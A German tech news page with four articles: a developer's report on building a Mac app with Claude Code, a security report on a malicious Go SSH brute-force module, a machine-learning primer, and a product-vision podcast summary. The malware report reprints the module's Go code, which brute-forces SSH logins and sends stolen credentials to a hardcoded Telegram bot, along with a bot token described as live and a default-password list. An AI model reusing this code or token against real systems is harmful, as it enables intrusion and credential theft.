Entwicklung & Code
Claude Code entwickelt Mac-App: Entwickler berichtet über Erfahrungen
Über den Einsatz von Künstlicher Intelligenz in der Entwicklung scheiden sich bekanntlich die Geister: Für viele ist die KI im Alltag bei der Programmierung als Helfer längst unverzichtbar. Aber einer KI die komplette Entwicklung einer App überlassen? Das ist für eine größere Zahl von Programmierern weiterhin ein rotes Tuch. Der Entwickler Indragie Karunaratne will eine Lanze für die KI brechen und hat mit der Mac-App Context ein Beispiel veröffentlicht, was inzwischen möglich ist.
Context ist eine App zum Debuggen von MCP-Servern. Das Model Context Protocol (MCP) ist ein Standard von Anthropic für die Verbindung zwischen KI-Anwendungen und externen Datenquellen. Entwickelt wurde die App in Apples Programmiersprache Swift. Die Benutzeroberflächen wurden in SwiftUI geschrieben. Der Quelltext der App kann im Github-Account des Entwicklers öffentlich eingesehen werden. Karunaratne arbeitet hauptberuflich als Technikdirektor bei Sentry, einer Plattform, um Fehler in Anwendungen festzustellen und zu beheben.
Ein Traum für Freizeitprojekte
In einem ausführlichen Blogpost legt der erfahrene macOS-Entwickler dar, dass die App nahezu vollständig mit Anthropics Claude Code erstellt wurde. Von den 20.000 Codezeilen habe er weniger als 1.000 selbst geschrieben – der Rest stammt aus der KI-gestützten Entwicklungsumgebung.
Der Entwickler, der seit dem Jahr 2008 Software für den Mac programmiert, beschreibt seine Erfahrung als grundlegend anders als bei bisherigen Projekten. Während er früher jahrelang keine Nebenprojekte in seiner Freizeit fertigstellen konnte, habe es ihm die KI ermöglicht, binnen weniger Monate eine vollständige macOS-Anwendung zu entwickeln und zu veröffentlichen.
Stärken und Schwächen der KI
Claude Code unterscheidet sich deutlich von anderen KI-Coding-Tools wie GitHub Copilot, Cursor oder Windsurf. Statt bestehende IDEs mit KI-Funktionen zu erweitern, ersetzt es die traditionelle Entwicklungsumgebung komplett durch eine Terminal-basierte Oberfläche. Im Zentrum steht ein „agentischer“ Ansatz.
Durch die Entwicklung von Context seien ihm auch die Stärken und Schwächen der KI bewusst geworden. Claude Code beherrsche Swift-Features bis Version 5.5 gut, habe aber Schwierigkeiten mit Swift Concurrency, das ab Swift 5.5 eingeführt wurde. Häufig greife das System auf veraltete Objective-C-APIs zurück, statt moderne Swift-Alternativen zu nutzen.
Bei SwiftUI habe sich Claude Code jedoch von seiner besseren Seite gezeigt: Die generierten Benutzeroberflächen funktionierten zuverlässig, auch wenn sie anfangs wenig ansprechend aussehen. Bemerkenswert ist, dass sich das Design mit simplen Anweisungen wie „Make it more beautiful“ deutlich verbessern ließ, wie Karunaratne schreibt.
Vorbereitung ist alles
Eine weitere Erkenntnis aus dem Projekt war, dass “Prompt Engineering” heute keine große Herausforderung mehr darstelle, da moderne Modelle auch unvollständige und schlecht formulierte Anfragen recht gut verstehen. Schlüssel zum Erfolg sei hingegen das “Context Engineering“ gewesen. Die Begrenzung auf 200.000 Token bei den neuesten Anthropic-Modellen sei dabei eine Herausforderung gewesen.
Entscheidend ist das „Priming“ des Agenten: Bevor Claude Code eine Aufgabe übernimmt, sollte es relevante Dokumentation und Quellcode lesen. Der Entwickler lässt das System zunächst bestehenden Code analysieren und Spezifikationen studieren, bevor es mit der Implementierung beginnt.
Trotz aller KI-Unterstützung seien präzise Spezifikationen unerlässlich. Der Entwickler warnt vor Marketing-Demos, die behaupten, mit einem einzigen Satz komplette Apps erstellen zu können. Für produktionsreife Software seien detaillierte Beschreibungen der gewünschten Funktionalität weiterhin notwendig. Ein weiterer Tipp: Claude Code sollte zunächst mit „Ultrathink“ einen Plan erstellen, bevor es mit der Implementierung beginnt. Diese Anweisung aktiviert einen erweiterten Denkprozess, der qualitativ bessere Ergebnisse liefert.
Feedback-Schleifen einrichten
Besonders effektiv werde Claude Code durch gut eingerichtete Feedback-Schleifen. Das System sollte eigenständig kompilieren, testen und Fehler beheben können. Der Entwickler nutzte zusätzliche Tools wie XcodeBuildMCP, um Claude Code das Erstellen von macOS-Apps zu erleichtern. Für die Fehlerbehebung können Screenshots direkt in Claude Code eingefügt werden. Das System analysiert dann visuelle Probleme und schlägt Korrekturen vor.
Abschließend habe Claude Code ein 2.000 Zeilen langes Python-Skript erstellt, das den Release-Prozess automatisierte, Es signierte automatisch den Code, notarisierte diesen, erstellte DMG-Dateien und verteilte Updates.
Große Veränderungen voraus?
Der Entwickler prognostiziert einen großen Wandel in der Entwicklungsumgebung. Traditionelle Features wie Dateibäume oder Quellcode-Editoren in Entwicklungs-Tools könnten an Bedeutung verlieren. Stattdessen werden sich IDEs darauf konzentrieren, Entwicklern beim Priming von KI-Agenten und beim Einrichten von Feedback-Schleifen zu helfen. Die klassische Programmierung könnte zur Nebentätigkeit werden.
(mki)
Entwicklung & Code
Go-Modul für Brute-Force-Angriffe auf SSH stiehlt die gefundenen Zugänge
Ein von der Sicherheitsfirma Socket entdecktes Go-Modul führt zufällige Angriffe auf SSH-Ports durch, meldet einen Erfolg aber nicht nur dem aktuellen Nutzer, sondern auch dem Autor des Tools per Telegram. Weil die Telegram-API HTTPS verwendet, täuscht sie Sicherheitssysteme, da es sich beim Bot-Traffic um gewöhnliche Web-Requests handelt.
Das schädliche Go-Modul nennt sich golang-random-ip-ssh-bruteforce und lässt sich auf einen Cyberangreifer zurückverfolgen, der auf GitHub und im Go-Module-Ökosystem unter dem Namen IllDieAnyway zu finden ist. Seine GitHub-Seite hostete neben dem Go-Schädling weitere Tools wie einen Port-Scanner und einen Brute Forcer für das Datenbankwerkzeug phpMyAdmin – ebenfalls mit Backdoor. Mittlerweile sind die Webseiten von IllDieAnyway auf GitHub und Go-Module nicht mehr verfügbar.
Der Schadcode im Detail
golang-random-ip-ssh-bruteforce generiert kontinuierlich zufällige IPv4-Adressen und scannt damit parallel TCP-Port 22 auf ungeschützte SSH-Dienste. Dabei nutzt es HostKeyCallback: ssh.InsecureIgnoreHostKey()
, um serverseitige Identitätschecks zu umgehen. Bei einem Treffer versucht der Schädling, eine Authentifizierung mit einer einfachen, lokalen Benutzername-Passwort-Liste durchzuführen. Nach einer erfolgreichen Anmeldung übermittelt golang-random-ip-ssh-bruteforce die IP-Adresse des Rechners und die Zugangsdaten an einen im Quellcode hartkodierten Telegram-Bot und meldet dem Nutzer den Erfolg. Anschließend beendet es sich selbst, um gegenüber dem Angriffspunkt möglichst verdeckt zu bleiben.
Socket hat einen Ausschnitt des Codes veröffentlicht und kommentiert:
// Probe the host on TCP 22. If the port is reachable, launch brute forcing. func IsOpened(host string) { target := fmt.Sprintf("%s:%d", host, 22) conn, err := net.DialTimeout("tcp", target, 2*time.Second) if err == nil && conn != nil { conn.Close() go brute(host) } } // Configure SSH to skip host key verification, then attempt user:pass. sshConfig := &ssh.ClientConfig{ User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, Timeout: time.Duration(timeout) * time.Second, HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Skip server verification. } client, err := ssh.Dial("tcp", addr, sshConfig) // On first success, send stolen credentials to the threat actor's Telegram. data := addr + ":" + user + ":" + pass + "
" http.Get("https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=" + data) close(succ) // Signal success and exit.
Nach erfolgreicher Übermittlung der abgegriffenen Daten antwortet die Telegram-API mit "ok": true
für eine gültige message_id
für den Chat 1159678884. Der hartcodierte Austrittspunkt lautet:
https://api.telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884
Laut Socket.dev ist das Bot-Token 5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY
derzeit noch live. Telegram identifiziert den Bot als ssh_bot
mit dem Usernamen @sshZXC_bot. Der Ziel-Chat 1159678884 ist ein privater Chat mit @io_ping (alias Gett). Sind Bot-Token und Chat aktiv, sendet der Go-Schädling die Daten jedes ersten erfolgreich durchgeführten Logins im Format ip:user:pass
via @sshZXC_bot an @io_ping.
Der Telegram-Bot in Aktion: Der Go-Schädling ist aktiv (links), rechts die Account-Informationen des Bedrohungsakteurs.
(Bild: Socket.dev)
Mit Offline-Wortliste unauffällig unterwegs
Das schädliche Go-Modul enthält eine kurze, statische Wortliste und bekommt weder Updates noch Zugangsdaten über das Netzwerk, sodass es bis zum ersten Treffer im Stillen läuft. Die Wortliste kombiniert lediglich zwei Usernamen – root und admin – mit schwachen und Standardpasswörtern, zum Beispiel toor, raspberry, dietpi, alpine, password, qwerty, numerische Sequenzen und Rollenbegriffe wie webadmin, webmaster, maintenance, techsupport, marketing oder uploader.
Das schädliche Go-Modul enthält eine SSH-Brute-Force-Wortliste, welche die Usernamen root und admin mit schwachen Passwörtern kombiniert.
(Bild: Socket.dev)
Socket warnt prinzipiell vor Supply-Chain-Attacken beim Einsatz von Modulen im eigenen Code. Anwenderinnen und Anwender sollten diese immer genau untersuchen, beispielsweise auf hartkodierte Gegenstellen im Netz – oft bei Telegram.
(who)
Entwicklung & Code
KI-Überblick 2: Wie Maschinen lernen – Methoden des Machine Learning
Maschinelles Lernen ist der mit Abstand bedeutendste Teilbereich der modernen Künstlichen Intelligenz. Praktisch alle heute erfolgreichen KI-Anwendungen basieren darauf: Texte zu generieren, Bilder zu analysieren, Sprache zu verstehen, Vorhersagen zu treffen – all das gelingt, weil Maschinen aus Daten lernen.
Doch wie funktioniert dieses Lernen eigentlich? Was bedeutet es, wenn ein System „trainiert“ wird? Und warum ist maschinelles Lernen keine Blackbox, sondern ein strukturiertes Vorgehen?
Golo Roden ist Gründer und CTO von the native web GmbH. Er beschäftigt sich mit der Konzeption und Entwicklung von Web- und Cloud-Anwendungen sowie -APIs, mit einem Schwerpunkt auf Event-getriebenen und Service-basierten verteilten Architekturen. Sein Leitsatz lautet, dass Softwareentwicklung kein Selbstzweck ist, sondern immer einer zugrundeliegenden Fachlichkeit folgen muss.
In diesem Beitrag gebe ich einen konzeptuellen Überblick über maschinelles Lernen. Ich zeige, welche Arten des Lernens es gibt, was sie unterscheidet und welche grundlegenden Ideen dahinterstehen.
Lernen statt Regeln
Der entscheidende Unterschied zwischen klassischer Programmierung und maschinellem Lernen ist einfach: Bei traditioneller Software legen Entwicklerinnen und Entwickler explizite Regeln fest, nach denen ein Programm arbeitet. Beim maschinellen Lernen hingegen geben sie einem System Daten – und lassen es selbstständig Muster erkennen und Regeln ableiten.
Ein typisches Beispiel ist die automatische Bilderkennung. Statt einem Programm mühsam beizubringen, dass Katzen in Bildern meist Ohren, Schnurrhaare und eine bestimmte Fellstruktur haben, zeigt man ihm einfach viele Bilder von Katzen und Nicht-Katzen. Das System lernt dabei, welche Merkmale typisch sind – auf Basis statistischer Zusammenhänge in den Daten.
Diese Fähigkeit zur Generalisierung ist die zentrale Stärke maschinellen Lernens. Gut trainierte Modelle können nicht nur bekannte Beispiele richtig einordnen, sondern auch mit neuen, ähnlichen Situationen umgehen.
Drei Arten des Lernens
Im maschinellen Lernen unterscheidet man grob drei grundlegende Paradigmen: überwachtes Lernen, unüberwachtes Lernen und bestärkendes Lernen. Sie unterscheiden sich darin, ob und wie Feedback gegeben wird.
Überwachtes Lernen (Supervised Learning)
Beim überwachten Lernen erhält das Modell zu jedem Trainingsbeispiel eine Zielvorgabe – etwa die richtige Klassifikation eines Bildes oder den erwarteten Ausgabewert bei einer Regressionsaufgabe. Das Modell versucht dann, diese Zielvorgaben zu reproduzieren.
Beispiele:
- Erkennen, ob eine E-Mail Spam ist oder nicht,
- Vorhersage von Immobilienpreisen anhand von Standort und Ausstattung,
- Diagnostik in der Medizin auf Basis von Bilddaten.
Das Modell wird so lange angepasst, bis es auf den Trainingsdaten möglichst wenig Fehler macht. Es lernt, die Beziehung zwischen Eingaben und Ausgaben zu modellieren.
Unüberwachtes Lernen (Unsupervised Learning)
Beim unüberwachten Lernen gibt es keine Zielvorgaben. Stattdessen versucht das System, Strukturen in den Daten zu erkennen – etwa Gruppen, Muster oder Ausreißer.
Beispiele:
- Kundensegmentierung im Marketing,
- Erkennung von Anomalien in Produktionsdaten,
- Thematische Clusterung von Texten.
Ein verbreiteter Ansatz ist das Clustering, bei dem Datenpunkte in Gruppen mit ähnlichen Eigenschaften eingeteilt werden. Auch Dimensionsreduktion, also das Vereinfachen komplexer Datenräume, gehört in diesen Bereich.
Bestärkendes Lernen (Reinforcement Learning)
Bestärkendes Lernen funktioniert grundlegend anders: Hier lernt ein Agent durch Interaktion mit einer Umgebung. Er erhält Belohnungen oder Bestrafungen, je nachdem, wie gut seine Aktionen in einer Situation waren, und passt sein Verhalten entsprechend an.
Beispiele:
- Spielende KI (beispielsweise AlphaGo oder Schachprogramme),
- Steuerung von Robotern,
- Optimierung von Prozessen, zum Beispiel in der Logistik.
Im Gegensatz zu den anderen Lernarten geht es hier nicht um das Erkennen von Mustern, sondern um das Erlernen von Handlungsstrategien, die langfristig zu möglichst hoher Belohnung führen.
Lernziele und Hypothesenraum
Unabhängig von der Art des Lernens basiert maschinelles Lernen immer auf der Idee, dass ein Modell aus einer Vielzahl möglicher Erklärungsansätze (dem sogenannten Hypothesenraum) eine möglichst gute Hypothese findet, die mit den beobachteten Daten übereinstimmt. Diese Hypothese kann zum Beispiel eine Regressionsfunktion, ein Entscheidungsbaum oder ein neuronales Netz sein.
Das Ziel besteht darin, nicht nur die Trainingsdaten zu erklären, sondern auch bei neuen, bisher unbekannten Daten eine möglichst gute Leistung zu erbringen. Diese Fähigkeit zur Verallgemeinerung ist zentral – und genau hier liegt die Herausforderung: Lässt man das Modell zu stark an die Trainingsdaten anpassen, besteht die Gefahr des Overfitting. Dann merkt sich das System Details und Zufälligkeiten, statt die dahinterliegenden Muster zu erfassen.
Warum maschinelles Lernen kein Zauber ist
Trotz der beeindruckenden Erfolge maschinell lernender Systeme darf man nicht vergessen, dass es sich dabei um strukturierte Optimierungsverfahren handelt. Die Lernprozesse sind formal beschreibbar, nachvollziehbar und – bis auf Details in komplexen Modellen – durchaus analysierbar. Die Vorstellung, dass maschinelles Lernen eine Blackbox sei, ist nur dann berechtigt, wenn man auf die genaue Parametrisierung einzelner Modelle abstellt. Das Prinzip ist jedoch alles andere als magisch.
Umso wichtiger ist es, die Grundidee zu verstehen: Maschinelles Lernen bedeutet, aus Beispielen zu lernen, um Entscheidungen auf neue Situationen zu übertragen. Damit dies zuverlässig funktioniert, braucht es geeignete Daten, durchdachte Modellarchitekturen und eine sorgfältige Evaluation.
Ausblick
In der nächsten Folge werden wir uns näher mit neuronalen Netzen befassen – der Modellklasse, die das Deep Learning geprägt und viele der jüngsten Durchbrüche in der KI ermöglicht hat. Wir klären, was hinter Begriffen wie Neuron, Schicht und Aktivierungsfunktion steckt – und warum man mit einfachen Bausteinen erstaunlich komplexe Strukturen modellieren kann.
(rme)
Entwicklung & Code
Die Produktwerker: Produktvisionen im Team verankern
In dieser Folge sprechen Oliver Winter und Dominique Winter über ein Thema, das oft unterschätzt wird und trotzdem die Arbeit eines ganzen Produktteams prägen kann: die Produktvision. Beide erleben in ihrer Arbeit immer wieder, wie stark der Unterschied ist zwischen einer Vision, die nur an einer Wand hängt, und einer, die tatsächlich im Team gelebt wird. Eine gute Produktvision gibt nämlich Richtung und Sinn. Sie hilft, Entscheidungen einzuordnen, Prioritäten zu setzen und auch schwierige Diskussionen schneller aufzulösen. Vor allem schafft sie ein gemeinsames Verständnis darüber, wofür das Team eigentlich antritt. Doch genau das ist die Herausforderung: eine Vision so zu entwickeln, dass sie nicht nur von Product Owner oder Führung formuliert wird, sondern dass das gesamte Team sie verinnerlicht.
(Bild: deagreez/123rf.com)
So geht Produktmanagement: Auf der Online-Konferenz Product Owner Day von dpunkt.verlag und iX am 13. November 2025 können Product Owner, Produktmanagerinnen und Service Request Manager ihren Methodenkoffer erweitern, sich vernetzen und von den Good Practices anderer Unternehmen inspirieren lassen.
Gemeinsam zur gelebten Produktvision
Es ist wichtig, dass Teams gemeinsam an ihrer Produktvision arbeiten. Dabei geht es nicht um den perfekten Satz, sondern darum, im Austausch ein Bild zu schaffen, das alle teilen können. Solche Prozesse machen eine Vision greifbar und verhindern, dass sie als reine Management-Vorgabe wahrgenommen wird. Wer von Anfang an beteiligt ist, fühlt sich verbunden und handelt eher danach. Damit eine Produktvision nach der Entwicklung aber nicht in Vergessenheit gerät, braucht es mehr als nur einen guten Start. Sie muss regelmäßig im Alltag auftauchen: im Planning, wenn über Prioritäten entschieden wird, im Review, wenn Ergebnisse eingeordnet werden, oder auch in Retrospektiven, wenn das Team reflektiert, ob es auf dem richtigen Weg ist. Eine Vision, die so verankert ist, bleibt lebendig und entwickelt sich weiter, ohne ihre Orientierungskraft zu verlieren.
Besonders wertvoll wird eine Produktvision auch beim Onboarding. Neue Teammitglieder verstehen schneller, warum das Produkt existiert und welchen Unterschied es macht. Wenn nicht nur Product Owner, sondern auch Entwicklerinnen und Entwickler sowie Designer die Vision erzählen können, zeigt das, dass sie wirklich Teil der gemeinsamen Arbeit geworden ist.
Die beiden Podcaster machen deutlich: Eine Produktvision entfaltet ihre Wirkung nicht durch Worte allein, sondern dadurch, dass sie im Team geteilt und immer wieder neu mit Leben gefüllt wird. Sie ist der Kompass, der allen hilft, auch in komplexen Situationen die Richtung nicht zu verlieren.
Thematisch verwandte Folgen
Weitere Folgen zum Thema Produktvisionen finden sich hier:
Die aktuelle Ausgabe des Podcasts steht auch im Blog der Produktwerker bereit: „Die Produktwerker: Produktvisionen im Team verankern„.
(mai)
-
Datenschutz & Sicherheitvor 2 Monaten
Geschichten aus dem DSC-Beirat: Einreisebeschränkungen und Zugriffsschranken
-
UX/UI & Webdesignvor 6 Tagen
Der ultimative Guide für eine unvergessliche Customer Experience
-
Apps & Mobile Entwicklungvor 2 Monaten
Metal Gear Solid Δ: Snake Eater: Ein Multiplayer-Modus für Fans von Versteckenspielen
-
Online Marketing & SEOvor 2 Monaten
TikTok trackt CO₂ von Ads – und Mitarbeitende intern mit Ratings
-
Digital Business & Startupsvor 2 Monaten
10.000 Euro Tickets? Kann man machen – aber nur mit diesem Trick
-
Entwicklung & Codevor 5 Tagen
Posit stellt Positron vor: Neue IDE für Data Science mit Python und R
-
UX/UI & Webdesignvor 2 Monaten
Philip Bürli › PAGE online
-
Social Mediavor 2 Monaten
Aktuelle Trends, Studien und Statistiken